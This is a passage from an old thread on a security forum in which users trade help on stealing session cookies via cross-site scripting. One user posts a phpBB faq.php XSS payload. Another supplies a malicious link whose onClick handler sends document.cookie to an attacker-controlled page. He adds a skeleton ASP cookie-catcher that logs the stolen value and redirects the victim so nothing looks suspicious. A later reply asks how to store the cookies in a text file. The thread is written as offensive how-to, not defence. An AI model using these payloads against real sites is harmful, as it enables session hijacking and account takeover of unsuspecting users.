Waraxe IT Security Portal
Login or Register
January 9, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 143
Members: 0
Total: 143
Full disclosure
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Panda3d v1.10.16 Uncontrolled Format String in Panda3D egg-mkfont Allows Stack Memory Disclosure
Panda3d v1.10.16 egg-mkfont Stack Buffer Overflow
Panda3d v1.10.16 deploy-stub Unbounded Stack Allocation Leading to Uninitialized Memory
MongoDB v8.3.0 Integer Underflow in LMDB mdb_load
Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files
Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser
MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load
zlib v1.3.1.2 Global Buffer Overflow in TGZfname() of zlib untgz Utility via Unbounded strcpy() on User-Supplied Archive Name
SigInt-Hombre v1 / dynamic Suricata detection rules from real-time threat feeds
Security Vulnerability in Koller Secret: Real Hidden App(com.koller.secret.hid emyphoto)
Linux Kernel Block Subsystem Vulnerabilities
[KIS-2025-14] PKP-WAL <= 3.5.0-1 Login Cross-Site RequestForgery Vulnerability
[KIS-2025-13] PKP-WAL <= 3.5.0-3 (X-Forwarded-Host) LESS Code Injection Vulnerability
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Question about stealing cookies
Post new topicReply to topic View previous topic :: View next topic
Question about stealing cookies
PostPosted: Wed Jul 21, 2004 10:26 am Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result Sad. Knows somebody to that it must?

Thx very much!

PD: Sorry of my english, Confused
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 2:12 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Quote:


--------------------------------------------------------------------------------

Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result . Knows somebody to that it must?

Thx very much!


www.web.com/cookie.php <-- your site with a special page to gather cookies from a querystring and store in somewhere(db, file, etc)

but theres no use if u click the link cause will send your cookies to the page... lol not the one u want

Got it?

If not, mail me or pvt..

Best Regards

r0ot

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 3:11 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




If, that page is prepared, but it does not go Sad (I don't know the reason),

Can give me an example for this bug? (If there are)

Thanks!
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 6:29 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 10:12 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




That already I have fact, the problem is that it does not work to me: (

Thx!!
View user's profile Send private message
PostPosted: Thu Jul 22, 2004 12:33 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Np m8, anytime.

If u want help juz pm me

_________________
View user's profile Send private message
WTF
PostPosted: Fri Jul 23, 2004 8:57 pm Reply with quote
Cface
Beginner
Beginner
Joined: Jul 23, 2004
Posts: 3




Hey I'm pretty stupid so could you break it down to me. I'm new to this.

_________________
I g0t hack3d, now it's payback!
View user's profile Send private message Yahoo Messenger MSN Messenger
PostPosted: Thu May 05, 2005 12:35 pm Reply with quote
KarachiKing555
Beginner
Beginner
Joined: May 05, 2005
Posts: 1




r0ot wrote:
sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?


what if i want cookies in txt file ! on my server ??
View user's profile Send private message
Question about stealing cookies
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds